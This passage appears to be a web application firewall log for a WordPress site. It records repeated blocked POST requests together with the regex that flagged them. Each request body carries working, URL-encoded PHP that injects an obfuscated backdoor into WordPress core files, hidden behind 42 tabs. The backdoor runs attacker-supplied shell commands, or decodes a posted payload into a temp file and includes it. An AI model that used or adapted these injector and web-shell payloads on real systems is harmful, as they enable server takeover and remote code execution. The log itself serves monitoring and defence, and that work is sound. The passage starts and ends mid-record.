hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvET8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5837\n\nDo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:10","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3887\n\nqn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:13","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3887\n\nXV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:17","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%